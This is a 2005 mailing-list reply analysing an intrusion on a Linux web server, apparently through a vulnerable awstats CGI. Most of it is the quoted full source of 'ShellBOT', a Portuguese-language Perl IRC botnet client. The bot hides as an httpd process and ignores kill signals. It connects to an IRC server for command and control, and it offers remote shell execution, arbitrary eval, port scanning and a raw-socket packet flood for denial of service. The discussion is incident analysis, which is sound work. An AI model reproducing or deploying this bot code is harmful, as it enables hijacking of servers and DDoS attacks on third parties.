At first glance I'd say your atac.tbz contains a vulnerability scanner (ps), a backdoored version of sshd (atac), a list of targets for the scanner (uniq.txt), and a scan log (log.bigsshf). The perl script also looks like a newer version of a script I pulled from a compromised linux box a little while ago. The script you found claims to be version 1.0 ($VERSAO = '1.0') while the one I recovered was version 0.2. I believe it's designed to connect to an IRC server and offer services from your machine to people in a certain IRC channel (shell access, DOS attack, other stuff?). If it helps, the header of the script I found contained this: #!/usr/bin/perl # # ShellBOT - FBI TEAM Corporation # # 0ldW0lf - effbeeye81@xxxxxxx # - www.security.cnc.net # # # ################ CONFIGURACAO ################################### my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #----------------################################################ my $linas_max='8'; # Evita o flood :) depois de X linhas #----------------################################################ ... In the FWIW file, this compromised linux box had been running a vulnerable version of the awstats CGI which is how this script (among other things) got in. On Friday 29 April 2005 12:03 pm, Andrew Y Ng wrote: > My server has been seeing some usual activities today, I don't have much > time to get down to the bottom of things, but after I investigated briefly > I have decided to disable PERL executable permission for www-data (Apache > process's user), also locked /var/tmp so www-data cannot write to it. > > Looks like it ignores all the `kill` signals, not sure how I can actually > kill it... > > > I found the included script in /var/tmp called d0s.txt. > > I found a bunch of processes called ./atac 20 running, and found the > following content in /tmp/atac: > > http://andrewng.com/tmp/atac.tbz > > here's d0s.txt: > > #!/usr/bin/perl > ################ CONFIGURACAO > ################################################################# my > $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que > vai aparece no ps # > #----------------------------------------------############################ >#################### my $MODOME='+pi'; # Modo > Do Bot # > #----------------------------------------------############################ >#################### my $linas_max='10'; # Evita > o flood :) depois de X linhas # > #----------------------------------------------############################ >#################### my $sleep='3'; # ele > dorme X segundos # ##################### IRC > ##################################################################### my > @adms=("DDOS"); # Nick do administrador > # > #----------------------------------------------############################ >#################### my @canais=("#bots ddos");# Canais > # > #----------------------------------------------############################ >#################### my $nick='b0t'; # Nick do > bot. Caso esteja em uso vai aparecer # # > # aparecer com numero radonamico no final # > #----------------------------------------------############################ >#################### my $ircname = 'b0t'; # User ID > # > #----------------------------------------------############################ >#################### my $realname = '4Admin14: 4#DDOS'; > # > #----------------------------------------------############################ >#################### $servidor='irc.gigachat.net' unless $servidor; # > Servidor de irc que vai ser usado # # > # caso não seja especificado no argumento # > #----------------------------------------------############################ >#################### my $porta='6667'; # Porta do > servidor de irc # ################ ACESSO A SHELL > ############################################################### my $secv = > 1; # 1/0 pra habilita/desabilita acesso a > shell # > ########################################################################### >#################### > > my $VERSAO = '1.0'; > > $SIG{'INT'} = 'IGNORE'; > $SIG{'HUP'} = 'IGNORE'; > $SIG{'TERM'} = 'IGNORE'; > $SIG{'CHLD'} = 'IGNORE'; > $SIG{'PS'} = 'IGNORE'; > > use IO::Socket; > use Socket; > use IO::Select; > chdir("/"); > $servidor="$ARGV[0]" if $ARGV[0]; > $0="$processo"."\0"x16;; > my $pid=fork; > exit if $pid; > die "Problema com o fork: $!" unless defined($pid); > > > > our %irc_servers; > our %DCC; > my $dcc_sel = new IO::Select->new(); > > > $sel_cliente = IO::Select->new(); > sub sendraw { > if ($#_ == '1') { > my $socket = $_[0]; > print $socket "$_[1]\n"; > } else { > print $IRC_cur_socket "$_[0]\n"; > } > } > > sub conectar { > my $meunick = $_[0]; > my $servidor_con = $_[1]; > my $porta_con = $_[2]; > > my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", > PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if > (defined($IRC_socket)) { > $IRC_cur_socket = $IRC_socket; > > $IRC_socket->autoflush(1); > $sel_cliente->add($IRC_socket); > > $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; > $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; > $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; > $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; > nick("$meunick"); > sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con > :$realname"); sleep 1; > } > > } > my $line_temp; > while( 1 ) { > while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", > "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); > &DCC::connections; > my @ready = $sel_cliente->can_read(0); > next unless(@ready); > foreach $fh (@ready) { > $IRC_cur_socket = $fh; > $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; > $nread = sysread($fh, $msg, 4096); > if ($nread == 0) { > $sel_cliente->remove($fh); > $fh->close; > delete($irc_servers{$fh}); > } > @lines = split (/\n/, $msg); > > for(my $c=0; $c<= $#lines; $c++) { > $line = $lines[$c]; > $line=$line_temp.$line if ($line_temp); > $line_temp=''; > $line =~ s/\r$//; > unless ($c == $#lines) { > parse("$line"); > } else { > if ($#lines == 0) { > parse("$line"); > } elsif ($lines[$c] =~ /\r$/) { > parse("$line"); > } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { > parse("$line"); > } else { > $line_temp = $line; > } > } > } > } > } > > > > sub parse { > my $servarg = shift; > if ($servarg =~ /^PING \:(.*)/) { > sendraw("PONG :$1"); > } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { > my $pn=$1; my $onde = $4; my $args = $5; > if ($args =~ /^\001VERSION\001$/) { > notice("$pn", "\001Bot powered by DDOS TEAM\001"); > } > if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { > if ($onde eq "$meunick"){ > shell("$pn", "$args"); > } > if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) { > my $natrix = $1; > my $arg = $2; > if ($arg =~ /^\!(.*)/) { > ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg > =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { > $ondep = $onde; > $ondep = $pn if $onde eq $meunick; > bfunc("$ondep","$1"); > } else { > shell("$onde", "$arg"); > } > } > } > } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { > if (lc($1) eq lc($meunick)) { > $meunick=$4; > $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; > } > } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { > nick("$meunick".int rand(9999)); > } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { > $meunick = $2; > $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; > $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; > foreach my $canal (@canais) { > print "$0 Executado \n"; > sendraw("JOIN $canal"); > sendraw("MODE $meunick $MODOME"); > sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME"); > } > } > } > > sub bfunc { > my $printl = $_[0]; > my $funcarg = $_[1]; > if (my $pid = fork) { > waitpid($pid, 0); > } else { > if (fork) { > exit; > } else { > if ($funcarg =~ /^portscan (.*)/) { > my $hostip="$1"; > my @portas=("21","22","23","25","53","80","110","143"); > my (@aberta, %porta_banner); > foreach my $porta (@portas) { > my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, > PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { > push (@aberta, $porta); > $scansock->close; > } > } > > if (@aberta) { > sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: > @aberta"); } else { > sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta > aberta foi encontrada"); } > } > if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { > my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); > $dtime = 1 if $dtime == 0; > my %bytes; > $bytes{igmp} = $2 * $pacotes{igmp}; > $bytes{icmp} = $2 * $pacotes{icmp}; > $bytes{o} = $2 * $pacotes{o}; > $bytes{udp} = $2 * $pacotes{udp}; > $bytes{tcp} = $2 * $pacotes{tcp}; > > sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: > $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de > envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + > $bytes{o})/1024)/$dtime)." kbps"); > > > } > exit; > } > } > } > > sub ircase { > my ($kem, $printl, $case) = @_; > > if ($case =~ /^join (.*)/) { > j("$1"); > } > if ($case =~ /^part (.*)/) { > p("$1"); > } > if ($case =~ /^rejoin\s+(.*)/) { > my $chan = $1; > if ($chan =~ /^(\d+) (.*)/) { > for (my $ca = 1; $ca <= $1; $ca++ ) { > p("$2"); > j("$2"); > } > } else { > p("$chan"); > j("$chan"); > } > } > if ($case =~ /^op/) { > op("$printl", "$kem") if $case eq "op"; > my $oarg = substr($case, 3); > op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); > } > if ($case =~ /^deop/) { > deop("$printl", "$kem") if $case eq "deop"; > my $oarg = substr($case, 5); > deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); > } > if ($case =~ /^voice/) { > voice("$printl", "$kem") if $case eq "voice"; > $oarg = substr($case, 6); > voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); > } > if ($case =~ /^devoice/) { > devoice("$printl", "$kem") if $case eq "devoice"; > $oarg = substr($case, 8); > devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); > } > if ($case =~ /^msg\s+(\S+) (.*)/) { > msg("$1", "$2"); > } > if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { > for (my $cf = 1; $cf <= $1; $cf++) { > msg("$2", "$3"); > } > } > if ($case =~ /^ctcp\s+(\S+) (.*)/) { > ctcp("$1", "$2"); > } > if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { > for (my $cf = 1; $cf <= $1; $cf++) { > ctcp("$2", "$3"); > } > } > if ($case =~ /^invite\s+(\S+) (.*)/) { > invite("$1", "$2"); > } > if ($case =~ /^nick (.*)/) { > nick("$1"); > } > if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { > conectar("$2", "$1", 6667); > } > if ($case =~ /^send\s+(\S+)\s+(\S+)/) { > DCC::SEND("$1", "$2"); > } > if ($case =~ /^raw (.*)/) { > sendraw("$1"); > } > if ($case =~ /^eval (.*)/) { > eval "$1"; > } > } > sub shell { > return unless $secv; > my $printl=$_[0]; > my $comando=$_[1]; > if ($comando =~ /cd (.*)/) { > chdir("$1") || msg("$printl", "Diertório inexistente!"); > return; > } > elsif ($pid = fork) { > waitpid($pid, 0); > } else { > if (fork) { > exit; > } else { > my @resp=`$comando 2>&1 3>&1`; > my $c=0; > foreach my $linha (@resp) { > $c++; > chop $linha; > sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); > if ($c == "$linas_max") { > $c=0; > sleep $sleep; > } > } > exit; > } > } > } > > #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki > sub attacker { > my $iaddr = inet_aton($_[0]); > my $msg = 'B' x $_[1]; > my $ftime = $_[2]; > my $cp = 0; > my (%pacotes); > $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = > $pacotes{tcp} = 0; > > socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; > socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; > socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; > socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; > return(undef) if $cp == 4; > my $itime = time; > my ($cur_time); > while ( 1 ) { > for (my $porta = 1; $porta <= 65000; $porta++) { > $cur_time = time - $itime; > last if $cur_time >= $ftime; > send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and > $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and > $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and > $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and > $pacotes{tcp}++; > > # DoS ?? :P > for (my $pc = 3; $pc <= 255;$pc++) { > next if $pc == 6; > $cur_time = time - $itime; > last if $cur_time >= $ftime; > socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; > send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and > $pacotes{o}++;; } > } > last if $cur_time >= $ftime; > } > return($cur_time, %pacotes); > } > > > > ############# > # ALIASES # > ############# > > sub action { > return unless $#_ == 1; > sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); > } > > sub ctcp { > return unless $#_ == 1; > sendraw("PRIVMSG $_[0] :\001$_[1]\001"); > } > sub msg { > return unless $#_ == 1; > sendraw("PRIVMSG $_[0] :$_[1]"); > } > > sub notice { > return unless $#_ == 1; > sendraw("NOTICE $_[0] :$_[1]"); > } > > sub op { > return unless $#_ == 1; > sendraw("MODE $_[0] +o $_[1]"); > } > sub deop { > return unless $#_ == 1; > sendraw("MODE $_[0] -o $_[1]"); > } > sub hop { > return unless $#_ == 1; > sendraw("MODE $_[0] +h $_[1]"); > } > sub dehop { > return unless $#_ == 1; > sendraw("MODE $_[0] +h $_[1]"); > } > sub voice { > return unless $#_ == 1; > sendraw("MODE $_[0] +v $_[1]"); > } > sub devoice { > return unless $#_ == 1; > sendraw("MODE $_[0] -v $_[1]"); > } > sub ban { > return unless $#_ == 1; > sendraw("MODE $_[0] +b $_[1]"); > } > sub unban { > return unless $#_ == 1; > sendraw("MODE $_[0] -b $_[1]"); > } > sub kick { > return unless $#_ == 1; > sendraw("KICK $_[0] $_[1] :$_[2]"); > } > > sub modo { > return unless $#_ == 0; > sendraw("MODE $_[0] $_[1]"); > } > sub mode { modo(@_); } > > sub j { &join(@_); } > sub join { > return unless $#_ == 0; > sendraw("JOIN $_[0]"); > } > sub p { part(@_); } > sub part {sendraw("PART $_[0]");} > > sub nick { > return unless $#_ == 0; > sendraw("NICK $_[0]"); > } > > sub invite { > return unless $#_ == 1; > sendraw("INVITE $_[1] $_[0]"); > } > sub topico { > return unless $#_ == 1; > sendraw("TOPIC $_[0] $_[1]"); > } > sub topic { topico(@_); } > > sub whois { > return unless $#_ == 0; > sendraw("WHOIS $_[0]"); > } > sub who { > return unless $#_ == 0; > sendraw("WHO $_[0]"); > } > sub names { > return unless $#_ == 0; > sendraw("NAMES $_[0]"); > } > sub away { > sendraw("AWAY $_[0]"); > } > sub back { away(); } > sub quit { > sendraw("QUIT :$_[0]"); > } > > > > # DCC > package DCC; > > sub connections { > my @ready = $dcc_sel->can_read(1); > # return unless (@ready); > foreach my $fh (@ready) { > my $dcctipo = $DCC{$fh}{tipo}; > my $arquivo = $DCC{$fh}{arquivo}; > my $bytes = $DCC{$fh}{bytes}; > my $cur_byte = $DCC{$fh}{curbyte}; > my $nick = $DCC{$fh}{nick}; > > my $msg; > my $nread = sysread($fh, $msg, 10240); > > if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { > $DCC{$fh}{status} = "Cancelado"; > $DCC{$fh}{ftime} = time; > $dcc_sel->remove($fh); > $fh->close; > next; > } > > if ($dcctipo eq "get") { > $DCC{$fh}{curbyte} += length($msg); > > my $cur_byte = $DCC{$fh}{curbyte}; > > open(FILE, ">> $arquivo"); > print FILE "$msg" if ($cur_byte <= $bytes); > close(FILE); > > my $packbyte = pack("N", $cur_byte); > print $fh "$packbyte"; > > if ($bytes == $cur_byte) { > $dcc_sel->remove($fh); > $fh->close; > $DCC{$fh}{status} = "Recebido"; > $DCC{$fh}{ftime} = time; > next; > } > } elsif ($dcctipo eq "send") { > my $send = $fh->accept; > $send->autoflush(1); > $dcc_sel->add($send); > $dcc_sel->remove($fh); > $DCC{$send}{tipo} = 'sendcon'; > $DCC{$send}{itime} = time; > $DCC{$send}{nick} = $nick; > $DCC{$send}{bytes} = $bytes; > $DCC{$send}{curbyte} = 0; > $DCC{$send}{arquivo} = $arquivo; > $DCC{$send}{ip} = $send->peerhost; > $DCC{$send}{porta} = $send->peerport; > $DCC{$send}{status} = "Enviando"; > > #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com > o sendcon open(FILE, "< $arquivo"); > my $fbytes; > read(FILE, $fbytes, 1024); > print $send "$fbytes"; > close FILE; > # delete($DCC{$fh}); > } elsif ($dcctipo eq 'sendcon') { > my $bytes_sended = unpack("N", $msg); > $DCC{$fh}{curbyte} = $bytes_sended; > if ($bytes_sended == $bytes) { > $fh->close; > $dcc_sel->remove($fh); > $DCC{$fh}{status} = "Enviado"; > $DCC{$fh}{ftime} = time; > next; > } > open(SENDFILE, "< $arquivo"); > seek(SENDFILE, $bytes_sended, 0); > my $send_bytes; > read(SENDFILE, $send_bytes, 1024); > print $fh "$send_bytes"; > close(SENDFILE); > } > } > } > > > sub SEND { > my ($nick, $arquivo) = @_; > unless (-r "$arquivo") { > return(0); > } > > my $dccark = $arquivo; > $dccark =~ s/[.*\/](\S+)/$1/; > > my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; > my $longip = unpack("N",inet_aton($meuip)); > > my @filestat = stat($arquivo); > my $size_total=$filestat[7]; > if ($size_total == 0) { > return(0); > } > > my ($porta, $sendsock); > do { > $porta = int rand(64511); > $porta += 1024; > $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto > => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock; > > $DCC{$sendsock}{tipo} = 'send'; > $DCC{$sendsock}{nick} = $nick; > $DCC{$sendsock}{bytes} = $size_total; > $DCC{$sendsock}{arquivo} = $arquivo; > > > &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); > > } > > sub GET { > my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; > return(0) if (-e "$arquivo"); > if (open(FILE, "> $arquivo")) { > close FILE; > } else { > return(0); > } > > my $dccip=fixaddr($dcclongip); > return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); > my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, > PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); > $dcc_sel->add($dccsock); > $DCC{$dccsock}{tipo} = 'get'; > $DCC{$dccsock}{itime} = time; > $DCC{$dccsock}{nick} = $nick; > $DCC{$dccsock}{bytes} = $bytes; > $DCC{$dccsock}{curbyte} = 0; > $DCC{$dccsock}{arquivo} = $arquivo; > $DCC{$dccsock}{ip} = $dccip; > $DCC{$dccsock}{porta} = $dccporta; > $DCC{$dccsock}{status} = "Recebendo"; > } > > # po fico xato de organiza o status.. dai fiz ele retorna o status de > acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub > Status { > my $socket = shift; > my $sock_tipo = $DCC{$socket}{tipo}; > unless (lc($sock_tipo) eq "chat") { > my $nick = $DCC{$socket}{nick}; > my $arquivo = $DCC{$socket}{arquivo}; > my $itime = $DCC{$socket}{itime}; > my $ftime = time; > my $status = $DCC{$socket}{status}; > $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); > > my $d_time = $ftime-$itime; > > my $cur_byte = $DCC{$socket}{curbyte}; > my $bytes_total = $DCC{$socket}{bytes}; > > my $rate = 0; > $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; > my $porcen = ($cur_byte*100)/$bytes_total; > > my ($r_duv, $p_duv); > if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { > $r_duv = $3; $r_duv++ if $4 >= 5; > $rate = "$1\.$2"."$r_duv"; > } > if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { > $p_duv = $3; $p_duv++ if $4 >= 5; > $porcen = "$1\.$2"."$p_duv"; > } > return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", > "$cur_byte","$d_time", "$rate", "$porcen"); } > > > return(0); > } > > > sub fixaddr { > my ($address) = @_; > > chomp $address; # just in case, sigh. > if ($address =~ /^\d+$/) { > return inet_ntoa(pack "N", $address); > } elsif ($address =~ > /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return > $address; > } elsif ($address =~ tr/a-zA-Z//) { > return inet_ntoa(((gethostbyname($address))[4])[0]); > } else { > return; > } > } -- "Kids today need discipline. It's not a popular word these days: discipline. I know Principal Flutie would have said, 'Kids need understanding. Kids are human beings.' That's the kind of wooly-headed liberal thinking that leads to being eaten." - Principal Snyder, Buffy the Vampire Slayer #9